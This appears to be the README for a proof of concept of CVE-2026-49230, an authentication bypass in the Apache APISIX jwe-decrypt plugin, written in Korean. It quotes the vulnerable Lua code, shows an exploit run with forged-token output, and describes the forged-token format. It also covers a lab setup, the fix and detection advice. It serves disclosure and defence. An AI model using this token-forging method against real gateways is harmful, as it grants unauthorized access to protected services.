
CVE-2026-49230에 대한 PoC: Apache APISIX jwe-decrypt 인증 우회 (AES-GCM 태그 검증 누락, CWE-354, CVSS 9.1)
jwe-decrypt 인증 우회Apache APISIX jwe-decrypt 플러그인의 인증 우회 개념 증명입니다. 이 플러그인은 JWE 토큰을 복호화하고 평문을 업스트림으로 전달하여 인증 게이트 역할을 합니다. 그러나 AES-GCM 인증 태그를 전혀 검증하지 않습니다. 유효한 소비자 kid만 있으면 암호문과 태그가 얼마나 가짜든 상관없이 토큰을 수락합니다. 따라서 모든 합법적인 토큰의 헤더에 평문으로 포함되어 있는 소비자 키를 아는 공격자는 AES 시크릿을 모르고도 게이트를 통과할 수 있습니다.
| CVE | CVE-2026-49230 |
| 제품 | Apache APISIX (jwe-decrypt 플러그인) |
| 영향 받는 버전 | 3.8.0 – 3.16.0 |
| 수정 버전 | 3.17.0 |
| 취약점 분류 | CWE-354 — 무결성 검사 값의 부적절한 검증 |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 인증 필요 | 인증 불필요 (유효한 소비자 kid 필요, 시크릿은 필요 없음) |
| 공개일 | 2026-06-19 |
| 상태 | 확인됨 — 3.16.0에서 종단 간 재현됨; 3.17.0에서 거부됨 |
apisix/plugins/jwe-decrypt.lua (태그 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt()는 GCM 인증 태그가 일치하지 않을 때 nil을 반환하지만, 그 반환값은 무시되고 호출자는 존재하지 않는 err를 검사하며, 이는 항상 nil입니다. 따라서 무결성 검사는 절대 적용되지 않습니다: 확인 가능한 kid가 있는 모든 JWE가 인증됩니다. 공격자가 가져서는 안 되는 유일한 것인 AES 시크릿은 실제로 전혀 필요하지 않습니다.
3.17.0의 수정은 오류를 전파하고(return decrypted, err) 가드를 if not plaintext then return 400으로 변경합니다. 동일한 수정은 플러그인의 공개 GET /apisix/plugin/jwe/encrypt 토큰 발급 API도 제거합니다.
전체 코드 수준 분석은 ANALYSIS.md를 참조하세요.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
위조된 토큰은 base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag 형식입니다. 헤더(유효한 kid 포함)만 중요하며, 그 이후의 모든 것은 공격자가 선택한 쓰레기입니다.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
이 환경에는 Docker 브릿지가 없으므로 실습은 --network host를 사용합니다 (etcd :2379, APISIX 데이터 플레인 :9080, 관리 :9180, 백엔드 :8080).
GCM 무결성 검사를 제외한 모든 제어가 적용되며, 동일한 위조 토큰이 수정 경계를 넘어 200에서 400으로 변경됩니다. 우회는 특히 누락된 무결성 검증 때문이며, 잘못 구성된 경로 때문이 아닙니다. 전체 기록은 EVIDENCE.txt에 있습니다.
APISIX의 jwe-decrypt 게이트를 인증에 신뢰하는 모든 업스트림은 단일 유효한 소비자 kid를 가진 인증되지 않은 공격자에 의해 도달될 수 있습니다. 유효한 kid는 적법하게 발급된 모든 토큰의 JWE 헤더 내에 평문으로 노출되기 때문에, 하나의 포착되거나 유출된 토큰(또는 추측 가능한 소비자 키)은 무제한의 수락된 토큰을 위조하고 게이트웨이의 인증 경계를 우회하기에 충분합니다.
jwe-decrypt를 유일한 인증 제어로 신뢰하지 마십시오; 독립적인 인증 플러그인(예: key-auth/jwt-auth) 또는 전달된 신원을 검증하는 업스트림 검사를 추가로 사용하십시오.jwe-decrypt를 통해 인증하면서도 빈/부재 신원 헤더를 업스트림으로 전달하는 요청(복호화가 조용히 nil을 생성한 경우)은 강력한 신호입니다. 게이트웨이를 통과하면서 업스트림이 사용 가능한 전달 헤더를 받지 못하는 Authorization: Bearer <jwe> 요청을 주시하세요.
연구 및 PoC: Caio Fabrício (@BiiTts).
MIT — LICENSE 참조.
| 요청 | 3.16.0 (취약) | 3.17.0 (패치됨) |
|---|
| 토큰 없음 | 403 missing JWE token | — |
| 잘못된 형식의 토큰 (5부분 미만) | 400 JWE token invalid | — |
잘못된 kid + 쓰레기 암호 | 400 invalid kid | — |
유효한 kid + 쓰레기 암호 | 200 업스트림 도달 | 400 failed to decrypt |